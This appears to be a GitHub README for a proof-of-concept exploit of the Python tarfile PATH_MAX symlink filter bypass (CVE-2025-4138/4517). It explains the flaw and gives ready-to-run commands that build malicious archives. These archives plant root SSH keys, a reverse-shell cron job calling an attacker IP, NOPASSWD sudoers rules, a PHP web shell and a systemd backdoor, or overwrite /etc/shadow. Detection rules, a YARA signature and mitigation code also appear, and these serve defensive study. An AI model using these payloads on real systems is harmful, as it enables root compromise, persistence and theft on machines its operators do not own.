
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass
Arbitrary file write through filter="data" / filter="tar" extraction
A critical vulnerability in Python's tarfile module allows an attacker to bypass extraction filters ("data" and "tar") and write arbitrary files outside the intended extraction directory. When a privileged process (e.g., a root-level backup script, CI/CD pipeline, or package installer) extracts an attacker-controlled tar archive using the supposedly-safe filter="data" parameter, this exploit achieves full arbitrary file write as that privileged user — typically escalating to root.
The root cause is a behavioral quirk in os.path.realpath(): it silently stops resolving symlinks once the fully-expanded path exceeds PATH_MAX (4096 bytes on Linux, 1024 on macOS). The tarfile filter relies on realpath() for safety checks, but the kernel resolves symlinks independently during extraction — creating a TOCTOU (Time-of-Check-to-Time-of-Use) gap that enables directory escape.
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
Note: Python 3.14+ changed the default
filterparameter from no filtering to"data", meaning applications that previously had no filter (and were thus already unsafe) now use the vulnerable filter by default.
Any application doing this on a vulnerable Python version is exploitable:
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
Common real-world occurrences:
.tar distributionsgit clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git
cd CVE-2025-4138-4517-POC
# No dependencies — uses only Python standard library
python3 exploit.py --help
Requirements: Python 3.6+ (for archive creation — the target must run a vulnerable version)
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
Important: The exploit automatically creates intermediate directories (e.g.
/root/.ssh/) inside the tar archive. If the target directory does not exist on the filesystem,extractall()will create it during extraction.
# Reverse shell via cron (every minute)
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
# Passwordless sudo for user "john"
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
# SSH key with custom file mode
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub \
--mode 0600 --tar-out evil.tar
Write any content to any absolute path on the target filesystem:
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
Test whether a system is vulnerable without touching sensitive files:
# 1. Create isolated test environment
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract
echo "original_content" > /tmp/cve_test/flag/testfile
# 2. Generate PoC tar targeting the test file
python3 exploit.py \
--target /tmp/cve_test/flag/testfile \
--payload "OVERWRITTEN_BY_CVE-2025-4138" \
--tar-out /tmp/cve_test/poc.tar
# 3. Extract with filter="data" (simulating a vulnerable application)
python3 -c "
import tarfile
tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall(
'/tmp/cve_test/extract', filter='data'
)
"
# 4. Check result
cat /tmp/cve_test/flag/testfile
# Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"
# Patched: "original_content" (extraction raises error)
# 5. Cleanup
rm -rf /tmp/cve_test
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()On Linux, PATH_MAX is defined as 4096 bytes. On macOS, it is 1024 bytes. When os.path.realpath() resolves a path component-by-component and the accumulated resolved path exceeds this limit, it silently stops resolving remaining components and appends them as literal strings.
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh
│
├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes)
└── unresolved tail: /../../../../root/.ssh
↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh
│ │
└── Starts with /extract/ → filter says "OK" ✓ │
└── But the ../ is real!
This is a documented behavior of realpath(), but the tarfile filter implementation did not account for it.
Each level of the chain consists of:
After 16 levels:
The data_filter in Python's tarfile module performs this check:
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
The vulnerability:
realpath() receives: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() resolves the a/b/c/.../p portion through the symlink chain → 3968+ bytes../../../../root/.ssh is appended literally/extract/ddd…(3968 chars)…/../../../../root/.ssh/extract/ → passes ✓../ normally → escapes to /rootescape/.ssh is extracted as a directory → creates /root/.ssh/ (mode 0700)┌────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT PIPELINE │
├────────────────────────────────────────────────────────────────────────┤
│ │
│ Stage 1: PATH_MAX Inflation │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │
│ └─────────┘ └─────────┘ └─────────┘ │
│ Resolved path accumulates to ~3968 bytes │
│ │
│ Stage 2: Pivot Symlink (exceeds PATH_MAX) │
│ ┌──────────────────────────────────────────┐ │
│ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │
│ └──────────────────────────────────────────┘ │
│ realpath() cannot resolve → filter is blind │
│ │
│ Stage 3: Escape Symlink │
│ ┌──────────────────────────────────────────┐ │
│ │ escape → <pivot>/../../../../<target_root>│ │
│ └──────────────────────────────────────────┘ │
│ Points to the target's top-level parent (e.g. /root) │
│ │
│ Stage 4: Create Intermediate Directories │
│ ┌──────────────────────────────────────────┐ │
│ │ escape/.ssh (DIRTYPE, mode 0700) │ │
│ └──────────────────────────────────────────┘ │
│ Ensures parent dirs exist (e.g. /root/.ssh) — critical │
│ for targets where the parent directory may not exist │
│ │
│ Stage 5: Payload Write │
│ ┌──────────────────────────────────────────┐ │
│ │ escape/.ssh/authorized_keys = payload │ │
│ └──────────────────────────────────────────┘ │
│ File is written through the escaped symlink as the │
│ process owner (typically root) │
│ │
└────────────────────────────────────────────────────────────────────────┘
A backup script running as root extracts user-provided tar archives:
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
Impact: Attacker supplies a malicious backup → writes SSH key to /root/.ssh/authorized_keys → gains root shell.
A build system extracts artifacts from untrusted sources:
# Jenkins/GitLab runner extracting build output
tar.extractall(path=workspace_dir, filter="data")
Impact: Malicious artifact escapes workspace → overwrites CI configuration → achieves code execution on build infrastructure.
A web app accepts and extracts tar uploads:
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
Impact: Remote attacker uploads crafted tar → writes web shell to document root → achieves RCE.
Python package managers extracting source distributions:
# pip/setuptools extracting sdist
tar.extractall(path=build_dir, filter="data")
Impact: Malicious PyPI package escapes build directory → modifies system files.
Monitor for these patterns that may indicate exploitation:
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar {
meta:
description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass"
cve = "CVE-2025-4138"
severity = "critical"
strings:
$long_dir = /d{240,250}\// ascii
$chain = /[a-p]\/[a-p]\/[a-p]\/[a-p]/ ascii
$pad = /l{250,}/ ascii
$traversal = "../../../" ascii
condition:
uint16(0) == 0x0000 and
$long_dir and $chain and ($pad or #traversal > 8)
}
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
If immediate upgrade is not possible:
import pathlib
import tarfile
def safe_extract(tar_path: str, dest: str) -> None:
"""Extract tar archive with CVE-2025-4138 mitigation."""
with tarfile.open(tar_path, "r") as tar:
for member in tar.getmembers():
# Block symlinks with traversal in link targets
if member.linkname:
parts = pathlib.PurePosixPath(member.linkname).parts
if ".." in parts:
raise ValueError(
f"Blocked: '{member.name}' has traversal "
f"in linkname: '{member.linkname}'"
)
# Block absolute symlink targets
if member.issym() and member.linkname.startswith("/"):
raise ValueError(
f"Blocked: '{member.name}' has absolute "
f"symlink target: '{member.linkname}'"
)
# Re-open to reset iterator
tar.extractall(path=dest, filter="data")
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
# Use GNU tar instead of Python tarfile
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
All were addressed in CPython Issue #135034 and PR #135037.
tarfile Extraction Filters Documentationrealpath(3) Man Page — PATH_MAX behavior⚠️ This tool is provided strictly for authorized security testing, research, and educational purposes.
Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, and equivalent legislation worldwide. Always obtain explicit written authorization before testing any system you do not own.
The author assumes no liability for misuse of this software. By using this tool, you agree that you are solely responsible for your actions and that you will comply with all applicable laws.
Tags: cve-2025-4138 cve-2025-4517 python tarfile path-traversal symlink privilege-escalation arbitrary-file-write toctou cwe-22 linux macos
This project is licensed under the MIT License.
🔐 If you find this useful, consider starring the repo
📫 For responsible disclosure inquiries, open an issue or contact via GitHub
| Field | Value |
|---|
| CVE IDs | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Vulnerability Type | Path Traversal via Symlink / Filter Bypass |
| Impact | Arbitrary file write → privilege escalation, sandbox escape, data tampering |
| Attack Vector | Deliver malicious tar archive to any application using tarfile.extractall() with filters |
| Affected | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| Fixed In | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| Patch | CPython PR #135037 |
| Advisory | GHSA-hgqp-3mmf-7h8f |
| Reporter | Caleb Brown — Google Security Research |
| Python Branch | Vulnerable Range | Fixed Version | Status |
|---|
| 3.13 | 3.13.0 – 3.13.3 | 3.13.4 | ✅ Patched |
| 3.12 | 3.12.0 – 3.12.10 | 3.12.11 | ✅ Patched |
| 3.11 | 3.11.4 – 3.11.12 | 3.11.13 | ✅ Patched |
| 3.10 | 3.10.12 – 3.10.17 | 3.10.18 | ✅ Patched |
| 3.9 | 3.9.17 – 3.9.22 | 3.9.23 | ✅ Patched |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ End of Life |
| 3.14+ | Default filter changed to "data" | Check latest | ⚠️ Higher exposure |
| Preset | Target File | Description | --extra Param |
|---|
ssh-key | /root/.ssh/authorized_keys | Inject SSH public key for root login | — |
cron | /etc/cron.d/pwned | Drop a root reverse shell cron job | LHOST IP address |
sudoers | /etc/sudoers.d/pwned | Add NOPASSWD sudo rule for a user | Username |
shadow | /etc/shadow | Overwrite shadow file (⚠️ destructive) | — |
passwd | /etc/passwd | Overwrite passwd file (⚠️ destructive) | — |
| Entry | Type | Name Length | Purpose |
|---|
| Directory | DIRTYPE | 247 chars (Linux) / 55 chars (macOS) | Long name inflates resolved path |
| Symlink | SYMTYPE | 1 char (a, b, …, p) | Short alias for the long directory |
| Metric | Value |
|---|
| Short path (via symlinks) | a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ≈ 31 chars |
| Resolved path (via dirs) | ddd…/ddd…/ddd…/… ≈ 3968 chars |
| PATH_MAX | 4096 bytes |
| Remaining budget | ~128 bytes — not enough for the traversal payload |
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys| CVE | Description | Severity |
|---|
| CVE-2025-4138 | Symlink target filter bypass via PATH_MAX overflow | Critical |
| CVE-2025-4517 | Arbitrary file write via realpath overflow (same root cause) | Critical |
| CVE-2025-4330 | Symlink path traversal bypassing extraction filters | High |
| CVE-2024-12718 | File metadata modification outside extraction directory | High |
| CVE-2025-4435 | Filtered files still extracted when errorlevel=0 | Medium |
| CVE-2007-4559 | Original tarfile path traversal (no filter era) | High |
| Date | Event |
|---|
| 2025-04-30 | Vulnerability reported to Python Security Response Team |
| 2025-06-02 | Public issue opened — CPython #135034 |
| 2025-06-03 | Fix merged — CPython PR #135037 |
| 2025-06-03 | PSF Security Announcement published |
| 2025-06-03 | Patched releases: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR advisory CERTFR-2025-AVI-0475 |
| 2025-06-20 | Google Security Research advisory GHSA-hgqp-3mmf-7h8f |
| 2025-07-20 | Full disclosure |